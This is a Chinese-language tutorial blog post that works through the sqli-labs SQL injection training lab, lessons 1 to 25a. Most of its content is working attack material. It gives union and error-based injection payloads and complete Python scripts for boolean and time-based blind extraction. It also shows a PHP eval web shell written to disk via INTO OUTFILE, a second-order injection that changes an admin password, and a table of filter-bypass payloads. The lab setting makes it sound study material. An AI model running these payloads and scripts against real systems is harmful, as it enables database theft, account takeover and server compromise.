0%

从sqli-labs学习SQL注入

摘要

感觉自己web方向很多方面都还是没有经过实践检验,所以按照知道创宇研发技能表,开始训练一下自己的实战经验。这一篇文章主要通过sqli-labs深入研究sqli的技巧和部分原理。

本篇文章写得相当细碎,请读者自取所需。

Challenge部分有缘再更新吧。

关键词: SQLI;sqli-labs;

Lesson 1-4

考点

1
2
3
4
5
6
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";      // Lesson 1
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; // Lesson 2
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; // Lesson 3

$id = '"' . $id . '"'; // Lesson 4
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";

1-4关都是考查最基本的报错注入,没有任何过滤。

payloads

1
2
3
?id=1' order by 3 --+
?id=1' union select 1,2,3 --+
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

SQLI语句补充讲解

LIMIT a, b : LIMIT用于强制 SELECT 语句返回指定的记录数,表示检索从a+1到b行的数据

order by[索引] : 用于对结果集进行排序, SQLI常用此根据列索引来判断该表的列数。

group_concat() : 从 expr 中连接所有非 NULL 的字符串。如果没有非 NULL 的字符串,那么它就会返回 NULL。

--+ : 在URL中,如果在最后加上 -- ,浏览器在发送请求的时候会把URL末尾的空格舍去。所以我们用 --+ 代替 -- ,原因是 + 在URL被URL编码后会变成空格。

解析

1
order by [number]

查看列数,主要是利用 order by 能通过索引进行查询,当索引打印列数不存在的时候,mysql会报错, 返回 Unknown column '[number]' in 'order clause'

1
select 1, 2[, 3, 4……]

查看显示位,显示位会出现在返回结果中。

Lesson 5-6

考点

1
2
3
4
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";      // Lesson 5

$id = '"'.$id.'"'; // Lesson 4
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

与1-4课的不同在于没有回显位置。

payloads

floor报错注入:

1
?id = 2' and (select 1 from (select count(*), concat(((select group_concat(schema_name) from information_schema.schemata)), floor(rand(0)*2))x from information_schema.tables group by x)a) - -+

updatexml报错注入:

1
?id = 2' and updatexml(1, (select group_concat(schema_name) from information_schema.schemata), 1) - -+

extractvalue报错注入:

1
?id = 2' and extractvalue(0x0a, concat(0x0a, (select group_concat(schema_name) from information_schema.schemata)))

SQLI语句补充讲解

count() : 计数函数
floor() : 向下取整
rand() : RAND 函数用于产生从0到1之间的随机数。如果为RAND()传入整形参数,则该值将成为随机数发生器的种子值。
extractvalue(*.xml, path) : 对XML文档进行查询。XML文档中查找字符位置(参数 path )是用 / xxx/xxx/xxx /… 这种格式,如果我们写入其他格式,就会报错并返回。
updatexml(*.xml, path, updatecontent) : 与 extractvalue() 类似,是更新xml文档的函数。

解析

主键重复报错注入原理[1]

1
select count(8) from [example] group by floor(rand(0)*2);

floor(rand(0)*2) 报错是有条件的:当[example]中记录存在3条及以上时才会必定报错。因为 floor(rand(0)*2) 具备某方面的确定性,如果替换成
floor(rand()*2 ,就只是随机报错。mysql在遇到 select count(*) from [example] group by x 时会建立一个虚表。其工作流程如下表:

key count(*)

查询数据时,取数据库数据(即 key 值),然后查看虚拟表,看是否存在 key 值,如果 key 值存在的话就 count(*) 字段直接加 1 , 不存在的话就新建一个 key 值。
mysql官方的提示是:查询的时候如果使用 rand() 的话,该值会被计算多次。即在使用 group by 的时候, floor(rand(0)*2) 会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

整个流程如下:

  1. 查询前默认会建立空虚拟表。

  2. 取第一条记录,执行 floor(rand(0)*2) ,发现现结果为 0 (第一次计算), 查询虚拟表,发现 0 的键值不存在,则 floor(rand(0)*2) 会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕。

  3. 查询第二条记录,再次计算 floor(rand(0)*2) ,发现结果为 1 (第三次计算),查询虚表,发现 1 的键值存在,所以 floor(rand(0)*2) 不会被计算第二次, count(*) 直接加 1 ,第二条记录查询完毕。

  4. 查询第三条记录,再次计算 floor(rand(0)*2) ,发现结果为 0 (第4次计算),查询虚表,发现键值没有 0 ,则数据库尝试插入一条新的数据,在插入数据时 floor(rand(0)*2) 被再次计算,作为虚表的主键,其值为 1 (第5次计算),然而 1 这个主键已经存在于虚拟表中,而新计算的值也为 1 (主键键值必须唯一),所以插入的时候就直接报错了。

  5. 整个查询过程 floor(rand(0)*2) 被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

xpath语法错误报错注入原理

updatexml()extractvalue() 函数都是对xml文档进行操作的函数,需要xml位置的参数。可以通过这两个函数的参数 path ,故意写入非法格式内容,使Mysql返回错误提示的,通过此来达到注入的目的。

Lesson 7

考点

1
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";    // Lesson 7

从查询语句上看与前几课没有什么区别,关键考查mysql对文件操作。

payloads

1
?id=-2')) union select 1,"<? @eval($_POST['Pe0ny']); ?> ",3 into outfile "F: \\tools\\wamp64\\wamp64\\www\\sqlilab\\Less-7\\test.php" - -+

SQLI语句补充讲解

load_file([path]file_name) : 读取文件, 注意路径的转义。
into outfile "[paht]file_name" : 写入文件,同样也需要注意路径的转义。

限制要求[2]

  • 必须有权限读取并且文件必须完全可读
  • 欲读取文件必须在服务器上
  • 必须指定文件完整的路径
  • 欲读取文件必须小于 max_allowed_packet

Lesson 8

考点

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";      // Lesson 8

mysql_error() 的输出被关闭,同时没有显示位置,即只能通过命令是否成功来判断,考察布尔盲注。

payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
# coding: utf-8

import binascii
import requests
import string
import sys
global findBit

"""
Created on 2020年3月11日
@author: Pe0ny
@site: https://github.com/Catsofsuffering
@email: graywar@qq.com
@file: boolsql
@description: bool盲注脚本
"""

Suc_sqli = "You are in"
URL = 'http://127.0.0.1/sqlilab/Less-8/?id=1'
HEADER = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'
}

def sendPayload(payload):
"""
执行payload

Args:
payload: payload
Returns:
content: 链接返回内容
"""
url = URL + payload
content = requests.get(url=url,headers=HEADER).text
return content

def findDatabaseNumber():
"""
查找库数量

Args:

Returns:
count: 数量
"""
count = 1
while count:
payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Suc_sqli in recv:
return count
else:
count += 1

def findTableNumber(dbname):
"""
查找表数量

Args:

Returns:
count: 数量
"""
count = 1
dbname = '0x' + str(binascii.b2a_hex(dbname.encode('ascii'))).replace('b\'','').replace('\'','')
while count:
payload = "'AND (SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+dbname+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Suc_sqli in recv:
return count
else:
count += 1

def findColumnNumber(tableName):
"""
查找列数量

Args:

Returns:
count: 数量
"""

count = 1
tableName = '0x' + str(binascii.b2a_hex(tableName.encode('ascii'))).replace('b\'','').replace('\'','')
while count:
payload = "'AND (SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Suc_sqli in recv:
return count
else:
count += 1

def findDataNumber(columnName, tableName):
"""
查找数据数量

Args:

Returns:
count: 数数量
"""
count = 1
while count:
payload = "'AND (SELECT COUNT("+columnName+") FROM "+tableName+") ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if Suc_sqli in recv:
return count
else:
count += 1

def getDatabaseName(dbNum):
"""
获取库名

Args:
dbNum: 库数量
Returns:

"""
global findBit
for k in range(dbNum):
i = 1
while i:
findBit = 0
doubleSearchDbs(-1, 255, i, k)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break

def getTableName(tableNum, dbName):
"""
获取表名

Args:
tableNum: 表数量
dbName: 库名
Returns:

"""
global findBit
dbName = '0x' + str(binascii.b2a_hex(dbName.encode('ascii'))).replace('b\'','').replace('\'','')
for k in range(tableNum):
i = 1
while i:
findBit = 0
doubleSearchTable(-1, 255, i, k, dbName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break

def getColumnName(columnNum, tableName):
"""
获取列名

Args:
columnNum: 列数量
tableName: 表名
Returns:

"""
global findBit
tableName = '0x' + str(binascii.b2a_hex(tableName.encode('ascii'))).replace('b\'','').replace('\'','')
for k in range(columnNum):
i = 1
while i:
findBit = 0
doubleSearchColumn(-1, 255, i, k, tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break

def getDataName(dataNum, columnName, tableName):
"""
获取数据名

Args:
dataNum: 数据数量
columnName: 列名
tableName: 表名
Returns:

"""
global findBit
for k in range(dataNum):
i = 1
while i:
findBit = 0
doubleSearchData(-1, 255, i, k, columnName, tableName)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break

def doubleSearchDbs(leftNum, rightNum, i, k):
"""
二分搜索库名

Args:
leftNum: 开始位置
rightNum: 结束位置
i: 第i个字母
k: 第k个库
Returns:

"""
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum + 1):
querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + \
str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Suc_sqli in recv:
doubleSearchDbs(midNum, rightNum, i, k)
else:
doubleSearchDbs(leftNum, midNum, i, k)
else:
if rightNum != 0:
sys.stdout.write(chr(int(rightNum)))
sys.stdout.flush()
else:
findBit = 1
return

def doubleSearchTable(leftNum, rightNum, i, k, dbName):
"""
二分搜索表名

Args:
leftNum: 开始位置
rightNum: 结束位置
i: 第i个字母
k: 第k个表
dbName: 库名
Returns:

"""
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum + 1):
querysql = "'AND ASCII(substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=" + \
dbName+" limit " + str(k) + ",1)," + str(i) + \
",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Suc_sqli in recv:
doubleSearchTable(midNum, rightNum, i, k, dbName)
else:
doubleSearchTable(leftNum, midNum, i, k, dbName)
else:
if rightNum != 0:
sys.stdout.write(chr(int(rightNum)))
sys.stdout.flush()
else:
findBit = 1
return

def doubleSearchColumn(leftNum, rightNum, i, k, tableName):
"""
二分搜索列

Args:
leftNum: 开始位置
rightNum: 结束位置
i: 第i个字母
k: 第k个表
tableName: 列名
Returns:

"""
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum + 1):
querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name=" + \
tableName+" limit " + str(k) + ",1)," + \
str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Suc_sqli in recv:
doubleSearchColumn(midNum, rightNum, i, k, tableName)
else:
doubleSearchColumn(leftNum, midNum, i, k, tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(int(rightNum)))
sys.stdout.flush()
else:
findBit = 1
return

def doubleSearchData(leftNum, rightNum, i, k, columnName, tableName):
"""
二分搜索表

Args:
leftNum: 开始位置
rightNum: 结束位置
i: 第i个表
k: 第k个数据
columnName: 列名
tableName: 表名
Returns:

"""
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum + 1):
querysql = "'AND ascii(substr((SELECT " + columnName+" from " + tableName + \
" limit " + str(k) + ",1)," + str(i) + \
",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if Suc_sqli in recv:
doubleSearchData(midNum, rightNum, i, k, columnName, tableName)
else:
doubleSearchData(leftNum, midNum, i, k, columnName, tableName)
else:
if rightNum != 0:
sys.stdout.write(chr(int(rightNum)))
sys.stdout.flush()
else:
findBit = 1
return

def exp():
dbNum = findDatabaseNumber()
print('the number of database is {}'.format(str(dbNum)))
getDatabaseName(dbNum)
dbName = input('Find tables from :')
tableNum = findTableNumber(dbName)
print('the number of table is {}'.format(str(tableNum)))
getTableName(tableNum, dbName)
tableName = input('Find columns from :')
columnNum = findColumnNumber(tableName)
print('the number of column is {}'.format(str(columnNum)))
getColumnName(columnNum, tableName)
columnName = input('Find data from :')
dataNum = findDataNumber(columnName, tableName)
print('the number of data is {}'.format(str(dataNum)))
getDataName(dataNum, columnName, tableName)

if __name__ == "__main__":
exp()

SQLI语句补充讲解

SUBSTR(str,pos,len) : 将 strpos 开始的位置,截取 len 个字符(空白也算字符)。

解析[3]

布尔盲注基本思路

  1. 通过 AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) = [number] --+ 猜测目标(数据库、表、列、数据)的数量, 其中[number]为数量
  2. 通过 AND (SELECT LENGTH(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1)=[length] 猜测目标名字的长度,其中[length]为长度,当然也可以想脚本那样直接跳过这一步,进行第三步
  3. 通过 AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name=tablename limit 0,1),[k],1))>97 猜测目标名字, 其中[k]为第k个字母

Lesson 9-10

考点

1
2
3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";        // Lesson 9
$id = '"'.$id.'"'; // Lesson 10
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

mysql_error() 报错同样关闭,同样无回显位置,考察时间盲注。

payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*-

import requests
import time

"""
Created on 2020年3月11日
@author: Pe0ny
@site: https://github.com/Catsofsuffering
@email: graywar@qq.com
@file: timesql
@description: time盲注脚本
"""

URL = 'http://127.0.0.1/sqli/Less-9/?id=1'
HEADER = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'
}
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
sleeptime = 3

def sendPayload(payload):
"""
执行payload

Args:
payload: payload
Returns:
Suc_sqli: 注入执行状态
"""
Suc_sqli = False
url = URL + payload
time_start = time.time()
content = requests.get(url=url)
time_end = time.time()
if time_end - time_start > 5:
Suc_sqli = True
return Suc_sqli

def exp():
result = ''
for i in range(100):
for c in s:
payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i, c)
if sendPayload(payload):
result += c
break
print(result)

if __name__ == "__main__":
exp()

SQLI语句补充讲解

if(expr1,expr2,expr3) : 如果 expr1 真,则执行 expr2 ,否则执行 expr3
Sleep(x) : 执行延迟x秒

解析

时间注入基本思路[4]

  1. 通过 [注入指令] 猜测目标(数据库、表、列、数据)的数量, 其中[number]为数量
  2. 通过 [注入指令] 猜测目标名字的长度,其中[length]为长度,当然也可以想脚本那样直接跳过这一步,进行第三步
  3. 通过 [注入指令] 猜测目标名字, 其中[k]为第k个字母

Lesson 11-14

考点

1
2
3
4
5
6
7
8
9
10
11
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; //Lesson 11

$uname='"'.$uname.'"';//Lesson 12
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";//Lesson 13

$uname='"'.$uname.'"';//Lesson 14
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

考察post方法的报错注入。

payloads

1
2
3
4
username = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

admin")and 1=(updatexml(1,concat(0x3a,(select user())),1))#

报错注入常用语句[5]

  • 通过 floor() 报错, 注入语句如下:
1
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • 通过 ExtractValue() 报错, 注入语句如下:
1
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  • 通过 UpdateXml() 报错, 注入语句如下:
1
and 1=(updatexml(1, concat(0x3a, (select user())), 1))
  • 通过 name_const() 报错, 注入语句如下:
1
and exists(select*from (select*from(select name_const(@@version, 0))a join (select name_const(@@version, 0))b)c)
  • 通过 join 报错, 注入语句如下:
1
select * from(select * from mysql.user join mysql.user b)c;
  • 通过 exp() 报错, 注入语句如下:
1
and exp(~(select * from (select user())a));
  • 通过 GeometryCollection() 报错, 注入语句如下:
1
and GeometryCollection(()select *from(select user())a)b);
  • 通过 polygon() 报错, 注入语句如下:
1
and polygon(()select * from(select user())a)b);
  • 通过 multipoint() 报错, 注入语句如下:
1
and multipoint(()select * from(select user())a)b);
  • 通过 multlinestring() 报错, 注入语句如下:
1
and multlinestring(()select * from(selectuser())a)b);
  • 通过 multpolygon() 报错, 注入语句如下:
1
and multpolygon(()select * from(selectuser())a)b);
  • 通过 linestring() 报错, 注入语句如下:
1
and linestring(()select * from(select user())a)b);

SQLI语句补充讲解

concat(expr1,expr2,……) : 将 expr1,expr2,…… 连接起来
exists(expr) : 如果 expr 查询结果为非空,则外层的WHERE子句返回值为真,否则返回值为假。
name_const(name,value) : 函数会用传入的参数返回一列数据,其中传入的参数必须是常量。如果传入的参数不是常量, 就会报错。
join : 结果取交集
exp(x) : 求取e^x,其中x必须小于709,超出会溢出报错。
GeometryCollection() : 空间数据集合,可以包括多个点、线、多边形,例如“GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))”
polygon() : 多边形, 由多条线组成, 例如“POLYGON((1 1, 2 1, 2 2, 1 2, 1 1))”
multipoint() : 点集合,包含多个点,例如“MULTIPOINT(0 0, 20 20, 60 60)”
multlinestring() : 线集合,包含多条线,例如“MULTILINESTRING((10 10, 20 20), (15 15, 30 15))”
multpolygon() : 多边形集合,包含多个多边形, 例如“MULTIPOLYGON(((0 0, 10 0, 10 10, 0 10, 0 0)), ((5 5, 7 5, 7 7, 5 7, 5 5)))”
linestring() : 线,由一系列点连接而成, 例如“LINESTRING(3 0, 3 3, 3 5)”

解析

列名重复报错注入原理

name_const() 报错原因就是因为列名相同时,数据库会返回错误信息。但是因为函数参数要求为常量,所以基本只能用 version() 函数查询一下数据库版本。相对来说比较鸡肋。
join 报错同样是因为列名重复,因此可以用此函数来爆列名。

数据溢出报错注入原理

exp(x) 是以e为底的指数函数,但是,由于数字太大是会产生溢出。这个函数会在参数x大于709时溢出并报错。
将0按位取反( ~ )就会返回“18446744073709551615”,同时如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的。
通过子查询与按位求反两者结合,造成一个DOUBLE overflow error,并借由此注出数据。而在脚本语言中,就会将错误中的一些表达式转化成相应的字符串, 从而爆出数据。

几何函数报错注入原理

geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring() 等几何函数都对参数要求是形如(1 2, 3 3, 2 2)这样的几何数据,如果不满足,则会报错。

Lesson 15-16

考点

1
2
3
4
5
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";//Lesson 15

$uname='"'.$uname.'"';//Lesson 16
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

考察post方式的盲注。

payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://localhost:20000/sqlilab/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

Lesson 18-20

考点

1
2
3
4
$uname = check_input($_POST['uname']);//Lesson 18
$passwd = check_input($_POST['passwd']);
……
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

其中 check_input() 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}

很明显 check_input() 函数已经将 unamepasswd 过滤了,得另外寻找方法。再仔细审计代码能够发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
$uagent = $_SERVER['HTTP_USER_AGENT']; //Lesson 18
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";

$uagent = $_SERVER['HTTP_REFERER']; //Lesson 19
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; //Lesson 20

说明18-21课主要考察对header头的注入。

PHP语句补充讲解

substr($value,0,20) : 返回字符串value从0到20位置的子字符串。
get_magic_quotes_gpc() : 如果magic_quotes_gpc已关闭,则返回0,否则返回1。从PHP 5.4.0开始返回始终FALSE。从PHP 7.4.0 开始,此函数已被弃用。
stripslashes($value) : 取消用引号引起来的字符串。如果magic_quotes_sybase处于打开状态,则不会去除反斜杠,而是将两个撇号替换为一个。
ctype_digit($value) : 检查提供的value中的所有字符是否都是数字。
intval($value) : 将value转换为十进制数值。

解析[6]

HTTP头部详解

User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。

Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP, (通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件(通过修改XXF头可以实现伪造IP)。

Clien-IP:同上,不做过多介绍。

Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。

Lesson 21-22

考点

1
2
3
4
5
6
$cookee = base64_decode($cookee); //Lesson 21
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

$cookee = base64_decode($cookee); //Lesson 22
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

考察cookie注入,只是多了一次b64编码。

Lesson 23

考点

1
2
3
4
5
6
7
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//Lesson 23

过滤了注释符,想办法绕过即可。

payloads

1
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()), '3-+

解析

关于sql过滤的一些补充[7]

  • 常用注释符

// , -- , /**/ , # , --+ , -- - , ;,%00 , --a

  • 常用绕过方式
    1. 注释符绕过;
    2. 大小写绕过;
    3. 内联注释绕过;
    4. 双关键字绕过;
    5. 编码绕过;
    6. 空格绕过;
    7. 万能密钥绕过;
    8. + , - , . 号拆解字符串绕过;
    9. like绕过;
    10. in绕过;
    11. > , < 绕过;
    12. 等价函数与命令绕过;
    13. 反引号绕过;
    14. 换行符绕过;
    15. 截断绕过;
    16. 宽字节绕过;
    17. \N绕过;

因为篇幅原因,就不一一举例说明了,详情请见参考文献[7]

Lesson 24

考点

login.php:

1
2
3
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

logged-in.php:

1
2
3
4
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

考察修改密码处的注入。

payloads

假设注册了一个用户 admin'# , 在密码更改界面(logged-in.php)随便输入当前密码,然后输入我们要更改的密码, 即可更改admin账户的密码。即查询语句如下:

1
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'

PHP语句补充讲解

mysql_real_escape_string() : 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。 PHP 5.5.0 起已废弃,并在自 PHP 7.0.0 开始被移除。应使用 mysqli_real_escape_string()PDO::quote() 替换。

Lesson 25-25a

考点

1
2
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中 blacklist() 函数为:

1
2
3
4
5
6
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}

25课中or和and被过滤了。25a则是关闭了回显,只能盲注。

payloads

预期解:

1
?id=1'  %26%26  '1'='1

非预期解:

1
?id=1'  oorr '1'='1

解析

PHP中一些常见的过滤方法及绕过方式

过滤关键字php代码会过滤的攻击代码绕过方式
and orpreg_match('/(and|or)/i', $id)1 or 1=1 and 1=11 || 1=1 && 1=1
and or unionpreg_match('/(and|or|union)/i', $id)union select user , password from users1 && (select user from users where user_id=1)=admin
and or union wherepreg_match('/(and|or|union|where)/i', $id)1 && (select user from users where user_id=1)='admin'1 && (select user from users limit 1) = admin
and or union where limitpreg_match('/(and|or|union|where|limit)/i', $id)1 && (select user from users limit 1) = admin1 && (select user from users group by user_id having user_id = 1) = admin
and or union where limit group bypreg_match('/(and|or|union|where|limit|group by)/i', $id)1 && (select user from users group by user_id having user_id = 1) = admin1 && (select substr(group_concat(user_id), 1, 1) user from users) = 1)
and or union where limit group by selectpreg_match('/(and|or|union|where|limit|group by|select)/i', $id)1 && (select substr(group_concat(user_id), 1, 1) user from users) = 1)1 && substr(user, 1, 1) = 'a'
and or union where limit group by select 'preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)1 && substr(user, 1, 1) = 'a'1 && user_id is not null 1 && substr(user, 1, 1) = 0x61 1 && substr(user, 1, 1) = unhex(61)
and or union where limit group by select ' hexpreg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)1 && user_id is not null 1 && substr(user, 1, 1) = 0x61 1 && substr(user, 1, 1) = unhex(61)1 && substr(user, 1, 1)=lower(conv(11, 10, 16))
